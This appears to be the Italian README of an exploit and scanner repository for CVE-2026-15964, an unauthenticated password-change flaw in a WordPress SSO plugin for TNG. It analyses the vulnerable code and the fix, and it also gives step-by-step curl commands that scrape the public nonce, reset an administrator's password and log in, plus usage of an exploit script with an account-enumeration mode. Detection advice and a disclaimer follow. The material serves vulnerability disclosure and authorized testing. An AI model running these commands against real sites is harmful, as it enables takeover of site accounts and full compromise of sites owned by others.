
PoC e checker per CVE-2026-15964 - modifica della password non autenticata nel plugin WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)
Escalation dei privilegi non autenticata tramite modifica non verificata della password nel plugin WordPress Single Sign On For TNG.
| Gravità | Critica (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (Modifica della password non verificata) |
| Versioni interessate | versioni del plugin dalla 1.0.0 alla 2.0.0 |
| Corretta in | 2.1.0 (rilasciata il 2026-07-27) |
| Pubblicata | 2026-08-01 |
| Autenticazione richiesta | nessuna (wp_ajax_nopriv_ssoprocess_ajax) |
| Impatto | cambiare la password di qualsiasi account WordPress, inclusi gli amministratori - compromissione totale del sito |
| Plugin | https://wordpress.org/plugins/single-sign-on-for-tng/ |
Qualsiasi visitatore non autenticato può cambiare la password di qualsiasi account su un sito che esegue il plugin alla 2.0.0 o precedente. Bastano due richieste HTTP:
SSOPWDREQUIREMENT.admin-ajax.php con operation=setnewpassword, l'email della vittima e
una nuova password.Il resto lo fa reset_password() del core di WordPress. Nessun token, nessun link
di conferma via email, nessun controllo delle capacità. Dopo di che si accede come amministratore.
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
In single-sign-on-for-tng.php (v2.0.0):
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_* significa che il gestore è raggiungibile senza alcuna sessione.
load_scripts() è agganciato a wp_enqueue_scripts, quindi su ogni pagina
front-end il plugin stampa questo nell'HTML:
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
Che viene renderizzato così:
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
E il gestore lo verifica così:
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
L'inghippo: WordPress calcola i nonce con wp_create_nonce($action) usando
uid e il token di sessione. Per i visitatori non autenticati questi sono 0 e una
stringa vuota, il che significa che ogni visitatore anonimo riceve esattamente lo stesso nonce.
Viene rigenerato solo ogni 12 ore (il "tick" del nonce). Quindi il nonce che il
plugin stampa per qualsiasi visitatore è valido anche per l'attaccante - non c'è alcun
segreto da rubare, è pubblicato nella pagina stessa.
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
reset_password() è una funzione del core di WordPress. Imposta il nuovo hash, disconnette
la vittima da ogni altra sessione e attiva le azioni password_reset /
after_password_reset. Qui viene chiamata senza che nulla dimostri che chi la invoca
sia il proprietario dell'account.
Due cose in più che vale la pena sapere:
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC del plugin vengono applicate solo in
validate_form() per i moduli Forminator, mai qui. Qualsiasi password è accettata.{"success":true} rispetto a {"success":false} ti dice
se un'email è registrata. La modalità --enum-only del checker sfrutta questa cosa.operation=set_tzoffset chiama
update_option('localtzoffset', $post['timezoneoffset']) senza autenticazione.
Non sfruttabile direttamente per una RCE, ma è una scrittura di opzioni non autenticata
e merita di essere menzionata nel writeup.Il diff tra la 2.0.0 e la 2.1.0 rende evidente la correzione (e conferma il bug):
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
inoltre, in newpasswordform():
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
Quindi nella 2.1.0 il flusso è: una richiesta di recupero legittima salva un
custom_recovery_token + custom_recovery_nonce per utente nei meta utente, il link di
recupero trasporta l'ID utente, il modulo li valida entrambi e il gestore AJAX rifiuta
di eseguire una volta scaduta la finestra di recupero (timeout). Un attaccante che non
può produrre un record di recupero ancora valido non può più pilotare setnewpassword.
Passo 1 - estrarre il nonce
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
Passo 2 - cambiare la password
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
Risposta attesa su un'installazione vulnerabile: {"success":true}
Passo 3 - accedere
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.pyExploit per singolo sito. Modalità non distruttive incluse.
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12
# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only
# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check
CVE-2026-15964-checker.pyScanner batch per i tuoi elenchi di siti. Non distruttivo per progettazione - non modifica mai una password.
Come classifica ogni sito:
SSOPWDREQUIREMENT o percorsi degli asset
/wp-content/plugins/single-sign-on-for-tng/ nella homepage.Stable tag: del readme.txt. <= 2.0.0 è vulnerabile,
>= 2.1.0 è corretta. Questo è il criterio autorevole secondo la CVE.--probe, solo quando la versione non può essere letta) - invia
operation=setnewpassword con un'email inesistente. Un'installazione 2.0.0
risponde {"success":false} senza messaggio di errore; una 2.1.0 risponde
con il messaggio "time to submit the new password expired". Un'email reale non viene
mai inviata - inviarla reimposterebbe davvero la password.# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv
# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com
Output di esempio:
URL VERDICT VER NONCE DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com VULNERABLE 2.0.0 yes readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com PATCHED 2.1.0 yes readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com PLUGIN_NOT_FOUND - -
Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1
Verdetti: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS /
UNKNOWN / ERROR. UNKNOWN di solito indica un WAF, una cache CDN aggressiva o
un sito che blocca il readme - controllali a mano.
tests/mock_server.py emula sei casi (vulnerabile-per-versione,
corretta-per-versione, vulnerabile-per-sonda, corretta-per-sonda, WordPress senza
il plugin, non-WordPress). È così che la logica del checker è stata validata
prima di puntarla su qualcosa di reale:
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme
# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE
pip install -r requirements.txt installa l'unica dipendenza (requests).
Contesto onesto, perché influisce su come usi questi strumenti.
inurl:"single-sign-on-for-tng",
"SSOPWDREQUIREMENT" nei motori di ricerca che indicizzano il sorgente completo delle pagine
(PublicWWW, Censys, FOFA), e la stessa community di TNG
(tngsitebuilding.com, forum di genealogia).UNKNOWN del checker sarà relativamente ampio sui siti genealogici reali -
molti girano dietro caching aggressivo o bloccano readme.txt. Non leggerlo come
"non vulnerabile"; verifica a mano.admin-ajax.php in cui action=ssoprocess_ajax non
proviene da una sessione autenticata; genera un alert su setnewpassword da fonti anonime.wp_users.user_pass e le azioni password_reset /
after_password_reset; tieni d'occhio gli accessi come amministratore subito dopo un
cambio di password.ssoajaxnonce come informazione pubblica - lo è sempre stato.Questo repository è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. Sei responsabile delle tue azioni. Non eseguire questi strumenti contro sistemi che non possiedi o per i quali non hai un'autorizzazione scritta esplicita al test. L'accesso non autorizzato a sistemi informatici è un reato nella maggior parte delle giurisdizioni.